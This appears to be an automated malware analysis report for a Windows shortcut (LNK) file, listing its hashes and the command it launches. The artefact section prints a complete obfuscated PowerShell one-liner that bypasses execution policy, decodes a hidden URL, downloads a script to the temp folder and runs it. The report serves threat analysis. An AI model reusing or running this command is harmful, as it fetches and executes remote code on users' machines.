Summary by MalvaGPT
Characteristics
Hash
Hash Value
MD5
cdd5fac679a85e4d1de22dca7ad29999
Sha1
74c1897c81da67bde47bb88457fe5dcc93b4b22b
Sha256
24bb09dc880015c33e9ab4255bca47870d6e527da52e14963b438a3e321253b9
Sha384
23826305d18187fdff727959fcb9e40d4429e7a183a90d77c71eddc51029bfc1e2749d746c6596e7f502c62fa35c4863
Sha512
58972c8b4a0766d1acd5341f7431c15831420c01d402bb2c2ee2cad4c47df8b6cbd8bfa86230fd97cf4767edec9156f7218661b6b1b8b2094c69e5cd29423e0c
SSDeep
96:6TdHaLTgQZjbrQ6xmsW9rIVrA9FQKNxAjNZS7750FRfP02RorfiMJZWdWsC:6TdHsTNN8F8V9KY4GH0A0iKZWdWN
TLSH
16916B8E61F05A99C6BEC4B4CAC7837F721D470CD43725CA79F48BE71480B1B85247A0
Artefacts
Name
Value
LNK: Command Execution

powershell.exe -ep bypass -c "$Bcy06t=[System.Numerics.BigInteger]\"17590692405941572261473802121771\";$ppiz8OYu=[System.Numerics.BigInteger]\"8920349953943540961352381270459\";$Rhy35=$Bcy06t - $ppiz8OYu;for($QGoKWvH4=100+156;$Rhy35 -ne 0;$Rhy35=$Rhy35 / $QGoKWvH4){$ZVZTlrg+=[char]([int]($Rhy35 % $QGoKWvH4));};iwr $ZVZTlrg -OutFile $env:TEMP\oqd6PJG.ps1 -UseBasicParsing; powershell -ep bypass -File $env:TEMP\oqd6PJG.ps1"

cdd5fac679a85e4d1de22dca7ad29999 (4.31 KB)
An error has occurred. This application may no longer respond until reloaded. Reload 🗙